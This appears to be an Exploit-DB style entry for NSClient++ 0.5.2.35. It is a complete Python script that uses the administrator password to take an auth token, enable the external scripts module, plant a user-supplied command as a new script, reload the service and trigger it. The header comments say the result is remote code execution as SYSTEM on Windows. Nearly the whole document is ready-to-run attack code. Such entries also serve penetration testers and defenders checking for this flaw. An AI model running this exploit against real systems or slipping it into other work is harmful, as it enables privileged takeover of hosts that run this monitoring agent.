# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: kindredsec
# Vendor Homepage: https://nsclient.org/
# Software Link: https://nsclient.org/download/
# Version: 0.5.2.35
# Tested on: Microsoft Windows 10 Pro (x64)
# CVE: N/A
#
# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import urllib3
import json
import sys
import random
import string
import time
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generateName():

  letters = string.ascii_lowercase + string.ascii_uppercase
  return ''.join(random.choice(letters) for i in range(random.randint(8,13)))

def printStatus(message, msg_type):

  C_YELLOW = '\033[1;33m'
  C_RESET = '\033[0m'
  C_GREEN = '\033[1;32m'
  C_RED = '\033[1;31m'

  if msg_type == "good":
    green_plus = C_GREEN + "[+]" + C_RESET 
    string = green_plus + " " + message

  elif msg_type == "info":
    yellow_ex = C_YELLOW + "[!]" + C_RESET
    string = yellow_ex + " " + message
  
  elif msg_type == "bad":
    red_minus = C_RED + "[-]" + C_RESET
    string = red_minus + " " + message

  print(string)


# This function adds a new external script containing the desired
# command, then saves the configuration
def configurePayload(session, cmd, key):

  printStatus("Configuring Script with Specified Payload . . .", "info")
  endpoint = "/settings/query.json"
  node = { "path" : "/settings/external scripts/scripts",
     "key" : key } 
  value = { "string_data" :  cmd }
  update = { "node" : node , "value" : value }
  payload = [ { "plugin_id" : "1234",
        "update" :  update } ] 
  json_data = { "type" : "SettingsRequestMessage", "payload" : payload }

  out = session.post(url = base_url + endpoint, json=json_data, verify=False)
  if "STATUS_OK" not in str(out.content):
    printStatus("Error configuring payload. Hit error at: "  + endpoint, "bad")
    sys.exit(1)

  printStatus("Added External Script (name: " + key + ")", "good")
  time.sleep(3)
  printStatus("Saving Configuration . . .", "info")
  header = { "version" : "1" }
  payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
  json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }
  
  session.post(url = base_url + endpoint, json=json_data, verify=False)  


# Since the application needs to be restarted after making changes,
# this function reloads the application, and waits for it to come back.
def reloadConfig(session):

  printStatus("Reloading Application . . .", "info")
  endpoint = "/core/reload"
  session.get(url = base_url + endpoint, verify=False)
  
  # Wait until the application successfully reloads by making a request
  # every 10 seconds until it responds.
  printStatus("Waiting for Application to reload . . .", "info")
  time.sleep(10)
  response = False
  count = 0 
  while not response:
    try:
      out = session.get(url = base_url, verify=False, timeout=10)
      if len(out.content) > 0:
        response = True
    except:
      count += 1
      if count > 10:
        printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
        sys.exit(1)
      else:
        continue  


# This function makes the call to the new external script to
# ultimately execute the code.
def triggerPayload(session, key):

  printStatus("Triggering payload, should execute shortly . . .", "info")
  endpoint = "/query/" + key
  try:
    session.get(url = base_url + endpoint, verify=False, timeout=10)
  except requests.exceptions.ReadTimeout:
    printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
    sys.exit(0)


# Before setting up the exploit, this function makes sure the
# required feature (External Scripts) is enabled on the application.
def enableFeature(session):

  printStatus("Enabling External Scripts Module . . .", "info")
  endpoint = "/registry/control/module/load"
  params = { "name" : "CheckExternalScripts" }
  out = session.get(url = base_url + endpoint, params=params, verify=False)
  if "STATUS_OK" not in str(out.content):
    printStatus("Error enabling required feature. Hit error at: "  + endpoint, "bad")
    sys.exit(1)


# This function obtains an authentication token that gets added to all
# remaining headers.
def getAuthToken(session):

  printStatus("Obtaining Authentication Token . . .", "info")
  endpoint = "/auth/token"
  params = { "password" : password }
  auth = session.get(url = base_url + endpoint, params=params, verify=False)  
  if "auth token" in str(auth.content):
    j = json.loads(auth.content)
    authToken = j["auth token"]
    printStatus("Got auth token: " + authToken, "good")
    return authToken
  else:
    printStatus("Error obtaining auth token, is your password correct? Hit error at: "  + endpoint, "bad")
    sys.exit(1)
    


parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
args = parser.parse_args()

if len(sys.argv) < 4:
  parser.print_help()
  sys.exit(1)

# Build base URL, grab needed arguments
base_url = "https://" + args.t + ":" + args.P
printStatus("Targeting base URL " + base_url, "info")
password = args.p
cmd = args.c

# Get first auth token, and add it to headers of session
s = requests.session()
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Generate a random name, enable the feature, add the payload,
# then reload.
randKey = generateName()
enableFeature(s)
configurePayload(s, cmd, randKey)
reloadConfig(s)

# Since application was reloaded, need a new auth token.
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Execute our code.
triggerPayload(s, randKey)